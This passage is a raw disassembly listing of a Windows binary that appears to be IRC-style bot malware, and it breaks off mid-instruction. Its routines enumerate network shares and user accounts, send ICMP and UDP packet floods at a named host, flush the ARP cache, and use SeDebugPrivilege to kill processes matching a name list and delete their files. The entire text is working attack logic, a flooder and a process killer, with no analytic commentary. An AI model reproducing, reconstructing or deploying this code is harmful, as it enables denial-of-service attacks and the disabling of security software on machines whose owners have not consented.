"[NET]: %s: No share specified." push esi call sub_416975 add esp, 0Ch loc_40841B: ; CODE XREF: sub_408363+64j ; sub_408363+96j pop edi mov eax, esi pop esi pop ebp retn sub_408363 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408421 proc near ; CODE XREF: sub_409848+1FFFp var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push ebx push esi push edi push [ebp+arg_C] call sub_407B66 xor esi, esi push esi push [ebp+arg_8] mov [ebp+var_10], eax push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] mov [ebp+var_4], esi push [ebp+arg_0] mov [ebp+var_14], esi mov [ebp+var_C], esi call sub_405D62 add esp, 18h loc_40845A: ; CODE XREF: sub_408421+10Dj lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax push 0FFFFFFFFh lea eax, [ebp+var_8] push eax push 1F6h push [ebp+var_10] call dword_43A4C4 mov ebx, eax cmp ebx, esi jz short loc_4084BB cmp ebx, 0EAh jz short loc_4084BB push ebx call sub_4080FF push eax lea eax, [ebp+var_214] push offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>" push eax call sub_416975 push esi push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 24h jmp short loc_408528 ; --------------------------------------------------------------------------- loc_4084BB: ; CODE XREF: sub_408421+5Dj ; sub_408421+65j xor edi, edi inc edi cmp [ebp+var_4], edi jb short loc_40851F mov esi, [ebp+var_8] add esi, 14h loc_4084C9: ; CODE XREF: sub_408421+FAj push dword ptr [esi+10h] call dword_43A4BC ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_4084E0 mov eax, offset aNo ; "No" loc_4084E0: ; CODE XREF: sub_408421+B8j push eax push dword ptr [esi] lea eax, [ebp+var_214] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_416975 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+var_4] jbe short loc_4084C9 xor esi, esi loc_40851F: ; CODE XREF: sub_408421+A0j push [ebp+var_8] call dword_43A3F8 loc_408528: ; CODE XREF: sub_408421+98j cmp ebx, 0EAh jz loc_40845A xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_408421 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408540 proc near ; CODE XREF: sub_409848:loc_40B8BCp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4085E3 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_408582 dec eax jz short loc_408577 dec eax jnz short loc_40859D push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_407D31 add esp, 14h jmp short loc_408599 ; --------------------------------------------------------------------------- loc_408577: ; CODE XREF: sub_408540+1Dj push ebx push edi call sub_407D10 pop ecx pop ecx jmp short loc_408599 ; --------------------------------------------------------------------------- loc_408582: ; CODE XREF: sub_408540+1Aj cmp [ebp+arg_8], edi jz short loc_408596 push [ebp+arg_8] push ebx push edi call sub_407CB6 add esp, 0Ch jmp short loc_408599 ; --------------------------------------------------------------------------- loc_408596: ; CODE XREF: sub_408540+45j push 57h pop eax loc_408599: ; CODE XREF: sub_408540+35j ; sub_408540+40j ... cmp eax, edi jnz short loc_4085BD loc_40859D: ; CODE XREF: sub_408540+20j push ebx lea eax, [esi+esi*2] push off_42ED0C[eax*4] mov esi, offset dword_43AE50 push offset aNetSUsernameS_ ; "[NET]: %s username: '%s'." push esi call sub_416975 add esp, 10h jmp short loc_408603 ; --------------------------------------------------------------------------- loc_4085BD: ; CODE XREF: sub_408540+5Bj call sub_4080FF push eax push ebx lea eax, [esi+esi*2] push off_42ED08[eax*4] mov esi, offset dword_43AE50 push offset aNetSErrorWithU ; "[NET]: %s: Error with username: '%s'. %"... push esi call sub_416975 add esp, 14h jmp short loc_408603 ; --------------------------------------------------------------------------- loc_4085E3: ; CODE XREF: sub_408540+Dj mov eax, [ebp+arg_0] lea eax, [eax+eax*2] push off_42ED08[eax*4] mov esi, offset dword_43AE50 push offset aNetSNoUsername ; "[NET]: %s: No username specified." push esi call sub_416975 add esp, 0Ch loc_408603: ; CODE XREF: sub_408540+7Bj ; sub_408540+A1j pop edi mov eax, esi pop esi pop ebx pop ebp retn sub_408540 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40860A proc near ; CODE XREF: sub_409848+20A1p var_21C = byte ptr -21Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 21Ch push esi push edi push [ebp+arg_C] xor esi, esi mov [ebp+var_4], esi call sub_407B66 push esi push [ebp+arg_8] mov [ebp+var_18], eax push offset aUsernameAccoun ; "Username accounts for local system:" push [ebp+arg_4] mov [ebp+var_8], esi push [ebp+arg_0] mov [ebp+var_14], esi mov [ebp+var_1C], esi mov [ebp+var_C], esi call sub_405D62 add esp, 18h push ebx loc_408649: ; CODE XREF: sub_40860A+129j lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] push eax push 0FFFFFFFFh lea eax, [ebp+var_4] push eax push 2 push esi push [ebp+var_18] call dword_43A39C cmp eax, esi mov [ebp+var_10], eax jz short loc_4086A8 cmp eax, 0EAh jz short loc_4086A8 push eax call sub_4080FF push eax lea eax, [ebp+var_21C] push offset aNetUserListErr ; "[NET]: User list error: %s <%ld>" push eax call sub_416975 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 24h jmp short loc_408719 ; --------------------------------------------------------------------------- loc_4086A8: ; CODE XREF: sub_40860A+62j ; sub_40860A+69j mov edi, [ebp+var_4] cmp edi, esi jz short loc_40872C xor ebx, ebx cmp [ebp+var_8], esi jbe short loc_408719 loc_4086B6: ; CODE XREF: sub_40860A+E7j cmp edi, esi lea eax, [ebp+var_21C] jz short loc_4086F5 push dword ptr [edi] push offset aS_3 ; " %S" push eax call sub_416975 push 1 push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 20h add edi, 4 inc [ebp+var_C] inc ebx cmp ebx, [ebp+var_8] jb short loc_4086B6 jmp short loc_408719 ; --------------------------------------------------------------------------- loc_4086F5: ; CODE XREF: sub_40860A+B4j push offset aNetAnAccessVio ; "[NET]: An access violation has occured."... push eax call sub_416975 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 1Ch loc_408719: ; CODE XREF: sub_40860A+9Cj ; sub_40860A+AAj ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40872C push edi call dword_43A3F8 xor edi, edi mov [ebp+var_4], edi loc_40872C: ; CODE XREF: sub_40860A+A3j ; sub_40860A+114j cmp [ebp+var_10], 0EAh jz loc_408649 cmp edi, esi pop ebx jz short loc_408745 push edi call dword_43A3F8 loc_408745: ; CODE XREF: sub_40860A+132j push [ebp+var_C] lea eax, [ebp+var_21C] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_416975 push esi push [ebp+arg_8] lea eax, [ebp+var_21C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 20h xor eax, eax cmp [ebp+var_10], esi pop edi setz al pop esi leave retn sub_40860A endp ; =============== S U B R O U T I N E ======================================= sub_40877E proc near ; CODE XREF: sub_402B47+7p ; sub_40402D+7Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43A434 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_4087A6 push [esp+arg_0] call dword_43A420 ; gethostbyname test eax, eax jnz short loc_40879F or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40879F: ; CODE XREF: sub_40877E+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_4087A6: ; CODE XREF: sub_40877E+Dj retn sub_40877E endp ; =============== S U B R O U T I N E ======================================= sub_4087A7 proc near ; CODE XREF: sub_4096E9+138p mov ecx, dword_43A4A8 xor eax, eax test ecx, ecx jz short locret_4087B5 jmp ecx ; --------------------------------------------------------------------------- locret_4087B5: ; CODE XREF: sub_4087A7+Aj retn sub_4087A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_4087B6 proc near ; CODE XREF: sub_409848:loc_40E43Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 88h push ebx push esi xor eax, eax push edi inc eax push eax mov [ebp+78h+var_4], eax lea eax, [ebp+78h+var_8] xor ebx, ebx push eax push ebx xor esi, esi mov [ebp+78h+var_8], ebx call dword_43A3C8 ; GetIpNetTable mov ecx, eax sub ecx, ebx jz short loc_408846 sub ecx, 32h jz loc_40888D sub ecx, 48h jz short loc_408811 sub ecx, 6Eh jz short loc_40880A loc_4087F6: ; CODE XREF: sub_4087B6+8Ej push eax lea eax, [ebp+78h+var_88] push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"... push eax call sub_416975 add esp, 0Ch jmp short loc_40886E ; --------------------------------------------------------------------------- loc_40880A: ; CODE XREF: sub_4087B6+3Ej push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty." jmp short loc_408863 ; --------------------------------------------------------------------------- loc_408811: ; CODE XREF: sub_4087B6+39j push [ebp+78h+var_8] call sub_416E1F pop ecx mov ecx, [ebp+78h+var_8] mov edx, ecx mov esi, eax shr ecx, 2 xor eax, eax mov edi, esi rep stosd mov ecx, edx and ecx, 3 cmp esi, ebx rep stosb jz short loc_40885E push 1 lea eax, [ebp+78h+var_8] push eax push esi call dword_43A3C8 ; GetIpNetTable cmp eax, ebx jnz short loc_4087F6 loc_408846: ; CODE XREF: sub_4087B6+2Bj cmp [esi], ebx jbe short loc_40887B lea edi, [esi+4] loc_40884D: ; CODE XREF: sub_4087B6+A4j push edi call dword_43A42C ; DeleteIpNetEntry inc ebx add edi, 18h cmp ebx, [esi] jb short loc_40884D jmp short loc_40887B ; --------------------------------------------------------------------------- loc_40885E: ; CODE XREF: sub_4087B6+7Dj push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"... loc_408863: ; CODE XREF: sub_4087B6+59j ; sub_4087B6+DCj lea eax, [ebp+78h+var_88] push eax call sub_416975 pop ecx pop ecx loc_40886E: ; CODE XREF: sub_4087B6+52j lea eax, [ebp+78h+var_88] push eax mov [ebp+78h+var_4], ebx call sub_401F0F pop ecx loc_40887B: ; CODE XREF: sub_4087B6+92j ; sub_4087B6+A6j push esi call sub_416D07 mov eax, [ebp+78h+var_4] pop ecx pop edi pop esi pop ebx add ebp, 78h leave retn ; --------------------------------------------------------------------------- loc_40888D: ; CODE XREF: sub_4087B6+30j push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"... jmp short loc_408863 sub_4087B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408894 proc near ; CODE XREF: sub_401141+215p ; sub_401141+321p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push edi xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] mov [ebp+var_4], 10h call dword_43A328 ; getsockname movzx eax, [ebp+var_D] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" mov esi, offset dword_43B050 push esi call sub_416975 add esp, 18h pop edi mov eax, esi pop esi leave retn sub_408894 endp ; =============== S U B R O U T I N E ======================================= sub_4088EA proc near ; CODE XREF: sub_402858+249p ; sub_402858+274p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_408915 lea eax, [ecx-2] shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+4+arg_0] push edi loc_408908: ; CODE XREF: sub_4088EA+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_408908 pop edi jmp short loc_408919 ; --------------------------------------------------------------------------- loc_408915: ; CODE XREF: sub_4088EA+Aj mov esi, [esp+4+arg_0] loc_408919: ; CODE XREF: sub_4088EA+29j test ecx, ecx jz short loc_408922 movzx eax, byte ptr [esi] add edx, eax loc_408922: ; CODE XREF: sub_4088EA+31j mov ecx, edx shr ecx, 10h and edx, 0FFFFh add ecx, edx mov eax, ecx shr eax, 10h add eax, ecx not eax pop esi retn sub_4088EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40893A proc near ; DATA XREF: sub_409848+5ABCo var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_416B90 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h pop ecx mov esi, eax xor ebx, ebx lea edi, [ebp+var_144] rep movsd inc ebx mov [eax+120h], ebx call dword_43A410 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43A434 ; inet_addr mov esi, eax xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_408993 lea eax, [ebp+var_C0] push eax call dword_43A420 ; gethostbyname test eax, eax jz short loc_408999 loc_408993: ; CODE XREF: sub_40893A+46j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_4089F7 loc_408999: ; CODE XREF: sub_40893A+57j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingErrorSendi ; "[PING]: Error sending pings to %s." push eax call sub_416975 add esp, 0Ch cmp [ebp+var_28], 0 jnz short loc_4089DB push 0 push [ebp+var_2C] lea eax, [ebp+var_344] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_405D62 add esp, 14h loc_4089DB: ; CODE XREF: sub_40893A+7Ej lea eax, [ebp+var_344] push eax call sub_401F0F push [ebp+var_30] call sub_4139F6 pop ecx pop ecx push ebx jmp loc_408ABC ; --------------------------------------------------------------------------- loc_4089F7: ; CODE XREF: sub_40893A+5Dj test eax, eax jz short loc_408A07 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_408A0A ; --------------------------------------------------------------------------- loc_408A07: ; CODE XREF: sub_40893A+BFj mov [ebp+var_4], esi loc_408A0A: ; CODE XREF: sub_40893A+CBj push 7 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh cmp [ebp+var_3C], eax jle short loc_408A25 mov [ebp+var_3C], eax loc_408A25: ; CODE XREF: sub_40893A+E6j cmp [ebp+var_38], ebx jge short loc_408A2D mov [ebp+var_38], ebx loc_408A2D: ; CODE XREF: sub_40893A+EEj xor edi, edi xor esi, esi cmp [ebp+var_40], edi jle short loc_408A5C loc_408A36: ; CODE XREF: sub_40893A+120j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push edi push [ebp+var_3C] lea eax, [ebp+var_10320] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43A4AC ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_408A36 loc_408A5C: ; CODE XREF: sub_40893A+FAj push [ebp+arg_0] call dword_43A444 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset aPingFinishedSe ; "[PING]: Finished sending pings to %s." push eax call sub_416975 add esp, 0Ch cmp [ebp+var_28], edi jnz short loc_408AA5 push edi push [ebp+var_2C] lea eax, [ebp+var_344] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_405D62 add esp, 14h loc_408AA5: ; CODE XREF: sub_40893A+149j lea eax, [ebp+var_344] push eax call sub_401F0F push [ebp+var_30] call sub_4139F6 pop ecx pop ecx push edi loc_408ABC: ; CODE XREF: sub_40893A+B8j call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_40893A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408AC3 proc near ; DATA XREF: sub_409848+5C0Co var_10316 = byte ptr -10316h var_10314 = byte ptr -10314h var_338 = byte ptr -338h var_138 = dword ptr -138h var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10314h call sub_416B90 mov eax, [ebp+arg_0] push esi push edi push 49h pop ecx mov esi, eax lea edi, [ebp+var_138] rep movsd xor esi, esi inc esi mov [eax+120h], esi call dword_422004 ; GetTickCount push eax call sub_416B24 pop ecx push 11h push 2 push 2 call dword_43A3BC ; socket mov [ebp+var_4], eax xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd lea eax, [ebp+var_B4] push eax mov [ebp+var_14], 2 call dword_43A434 ; inet_addr xor edi, edi xor ecx, ecx cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_408B9E lea eax, [ebp+var_B4] push eax call dword_43A420 ; gethostbyname mov ecx, eax cmp ecx, edi jnz short loc_408B9E lea eax, [ebp+var_B4] push eax lea eax, [ebp+var_338] push offset aUdpErrorSendin ; "[UDP]: Error sending pings to %s." push eax call sub_416975 add esp, 0Ch cmp [ebp+var_1C], edi jnz short loc_408B82 push edi push [ebp+var_20] lea eax, [ebp+var_338] push eax lea eax, [ebp+var_134] push eax push [ebp+var_138] call sub_405D62 add esp, 14h loc_408B82: ; CODE XREF: sub_408AC3+9Dj lea eax, [ebp+var_338] push eax call sub_401F0F push [ebp+var_24] call sub_4139F6 pop ecx pop ecx push esi jmp loc_408CD7 ; --------------------------------------------------------------------------- loc_408B9E: ; CODE XREF: sub_408AC3+6Aj ; sub_408AC3+7Dj cmp [ebp+var_28], edi jge short loc_408BA6 mov [ebp+var_28], edi loc_408BA6: ; CODE XREF: sub_408AC3+DEj mov eax, 0FFFFh cmp [ebp+var_28], eax jle short loc_408BB3 mov [ebp+var_28], eax loc_408BB3: ; CODE XREF: sub_408AC3+EBj cmp ecx, edi jz short loc_408BBE mov eax, [ecx+0Ch] mov eax, [eax] jmp short loc_408BC1 ; --------------------------------------------------------------------------- loc_408BBE: ; CODE XREF: sub_408AC3+F2j lea eax, [ebp+arg_0] loc_408BC1: ; CODE XREF: sub_408AC3+F9j cmp [ebp+var_28], edi mov eax, [eax] mov [ebp+var_10], eax jnz short loc_408BDC call sub_416B31 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_408BDF ; --------------------------------------------------------------------------- loc_408BDC: ; CODE XREF: sub_408AC3+106j push [ebp+var_28] loc_408BDF: ; CODE XREF: sub_408AC3+117j call dword_43A514 ; ntohs mov [ebp+var_12], ax mov eax, [ebp+var_34] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_2C], edi mov [ebp+var_34], eax jnz short loc_408BFD mov [ebp+var_2C], esi loc_408BFD: ; CODE XREF: sub_408AC3+135j xor esi, esi cmp [ebp+var_30], edi jle short loc_408C78 loc_408C04: ; CODE XREF: sub_408AC3+159j call sub_416B31 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_30] mov [ebp+esi-10315h], dl jl short loc_408C04 jmp short loc_408C78 ; --------------------------------------------------------------------------- loc_408C20: ; CODE XREF: sub_408AC3+1B8j dec [ebp+var_34] push 0Bh pop esi loc_408C26: ; CODE XREF: sub_408AC3+195j push 10h lea eax, [ebp+var_14] push eax push edi call sub_416B31 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_30] sub eax, edx push eax lea eax, [ebp+var_10314] push eax push [ebp+var_4] call dword_43A38C ; sendto push [ebp+var_2C] call dword_422000 ; Sleep dec esi jnz short loc_408C26 cmp [ebp+var_28], edi jnz short loc_408C78 call sub_416B31 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43A514 ; ntohs mov [ebp+var_12], ax loc_408C78: ; CODE XREF: sub_408AC3+13Fj ; sub_408AC3+15Bj ... cmp [ebp+var_34], edi jg short loc_408C20 dec [ebp+var_34] lea eax, [ebp+var_B4] push eax lea eax, [ebp+var_338] push offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s." push eax call sub_416975 add esp, 0Ch cmp [ebp+var_1C], edi jnz short loc_408CC0 push edi push [ebp+var_20] lea eax, [ebp+var_338] push eax lea eax, [ebp+var_134] push eax push [ebp+var_138] call sub_405D62 add esp, 14h loc_408CC0: ; CODE XREF: sub_408AC3+1DBj lea eax, [ebp+var_338] push eax call sub_401F0F push [ebp+var_24] call sub_4139F6 pop ecx pop ecx push edi loc_408CD7: ; CODE XREF: sub_408AC3+D6j call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_408AC3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408CDE proc near ; CODE XREF: sub_403E31+45p ; sub_403E31+165p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_4220E0 ; GetCurrentProcess push eax call dword_43A4FC ; OpenProcessToken test eax, eax jnz short loc_408CFD leave retn ; --------------------------------------------------------------------------- loc_408CFD: ; CODE XREF: sub_408CDE+1Bj push esi lea eax, [ebp+var_10] push eax push [ebp+arg_0] xor esi, esi push esi call dword_43A4E0 ; LookupPrivilegeValueA test eax, eax jz short loc_408D3B cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_408D24 or [ebp+var_8], 2 jmp short loc_408D28 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_408CDE+3Ej and [ebp+var_8], 0FFFFFFFDh loc_408D28: ; CODE XREF: sub_408CDE+44j push esi push esi push esi lea eax, [ebp+var_14] push eax push esi push [ebp+var_4] call dword_43A428 ; AdjustTokenPrivileges mov esi, eax loc_408D3B: ; CODE XREF: sub_408CDE+32j push [ebp+var_4] call dword_42202C ; CloseHandle mov eax, esi pop esi leave retn sub_408CDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D49 proc near ; CODE XREF: sub_40905C+68p ; sub_40915E+Cp ... var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi xor ebx, ebx push 49h xor eax, eax cmp dword_43A3AC, ebx pop ecx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_408F5A cmp dword_43A40C, ebx jz loc_408F5A cmp dword_43A364, ebx jz loc_408F5A push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_408CDE pop ecx pop ecx push ebx push 0Fh call dword_43A3AC ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_408F4D lea eax, [ebp+var_12C] push eax push edi mov [ebp+var_12C], 128h call dword_43A40C ; Process32First test eax, eax mov esi, dword_42202C jz loc_408F48 lea eax, [ebp+var_12C] push eax push edi call dword_43A364 ; Process32Next test eax, eax jz loc_408F48 mov ebx, dword_422078 loc_408E08: ; CODE XREF: sub_408D49+1F7j cmp [ebp+arg_10], 0 jz short loc_408E69 xor edi, edi loc_408E10: ; CODE XREF: sub_408D49+E7j push off_42ED68[edi] lea eax, [ebp+var_108] push eax call dword_4220EC ; lstrcmpiA test eax, eax jz short loc_408E37 add edi, 4 cmp edi, 9E0h jb short loc_408E10 jmp loc_408F2E ; --------------------------------------------------------------------------- loc_408E37: ; CODE XREF: sub_408D49+DCj push [ebp+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess mov edi, eax test edi, edi jz loc_408F2E push 0 push edi call dword_4220E8 ; TerminateProcess test eax, eax jnz loc_408F2E loc_408E61: ; CODE XREF: sub_408D49+1AFj push edi call esi ; CloseHandle jmp loc_408F2E ; --------------------------------------------------------------------------- loc_408E69: ; CODE XREF: sub_408D49+C3j mov edi, [ebp+arg_C] test edi, edi jnz loc_408EFD cmp [ebp+arg_4], edi jz loc_408F2E push [ebp+var_124] push 8 call dword_43A3AC ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov edi, eax mov [ebp+var_350], 224h jz short loc_408EBD lea eax, [ebp+var_350] push eax push edi call dword_43A3D4 ; Module32First test eax, eax push [ebp+var_124] jz short loc_408EC3 lea eax, [ebp+var_230] jmp short loc_408EC9 ; --------------------------------------------------------------------------- loc_408EBD: ; CODE XREF: sub_408D49+152j push [ebp+var_124] loc_408EC3: ; CODE XREF: sub_408D49+16Aj lea eax, [ebp+var_108] loc_408EC9: ; CODE XREF: sub_408D49+172j push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_416975 add esp, 10h push 1 push [ebp+arg_8] lea eax, [ebp+var_550] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h jmp loc_408E61 ; --------------------------------------------------------------------------- loc_408EFD: ; CODE XREF: sub_408D49+125j lea eax, [ebp+var_108] loc_408F03: ; CODE XREF: sub_408D49+1D6j mov dl, [eax] mov cl, dl cmp dl, [edi] jnz short loc_408F25 test cl, cl jz short loc_408F21 mov dl, [eax+1] mov cl, dl cmp dl, [edi+1] jnz short loc_408F25 inc eax inc eax inc edi inc edi test cl, cl jnz short loc_408F03 loc_408F21: ; CODE XREF: sub_408D49+1C4j xor eax, eax jmp short loc_408F2A ; --------------------------------------------------------------------------- loc_408F25: ; CODE XREF: sub_408D49+1C0j ; sub_408D49+1CEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_408F2A: ; CODE XREF: sub_408D49+1DAj test eax, eax jz short loc_408F61 loc_408F2E: ; CODE XREF: sub_408D49+E9j ; sub_408D49+101j ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43A364 ; Process32Next test eax, eax jnz loc_408E08 xor ebx, ebx loc_408F48: ; CODE XREF: sub_408D49+9Dj ; sub_408D49+B3j push [ebp+var_4] call esi ; CloseHandle loc_408F4D: ; CODE XREF: sub_408D49+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_408CDE pop ecx pop ecx loc_408F5A: ; CODE XREF: sub_408D49+3Aj ; sub_408D49+46j ... xor eax, eax loc_408F5C: ; CODE XREF: sub_408D49+30Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_408F61: ; CODE XREF: sub_408D49+1E3j push [ebp+var_124] push 0 push 1F0FFFh call ebx ; OpenProcess push [ebp+var_124] mov edi, eax push 8 call dword_43A3AC ; CreateToolhelp32Snapshot push [ebp+var_4] mov ebx, eax mov [ebp+var_350], 224h call esi ; CloseHandle push 0 push edi call dword_4220E8 ; TerminateProcess test eax, eax jnz short loc_408FA6 push edi call esi ; CloseHandle push ebx call esi ; CloseHandle jmp short loc_408F5A ; --------------------------------------------------------------------------- loc_408FA6: ; CODE XREF: sub_408D49+253j cmp [ebp+arg_18], 0 jz loc_409054 lea eax, [ebp+var_350] push eax push ebx call dword_43A3D4 ; Module32First test eax, eax jz short loc_409019 push ebx call esi ; CloseHandle xor esi, esi loc_408FC7: ; CODE XREF: sub_408D49+2B2j push 7D0h call dword_422000 ; Sleep push 20h lea eax, [ebp+var_230] push eax inc esi call dword_4220CC ; SetFileAttributesA lea eax, [ebp+var_230] push eax call dword_4220E4 ; DeleteFileA test eax, eax setnz al test al, al jnz short 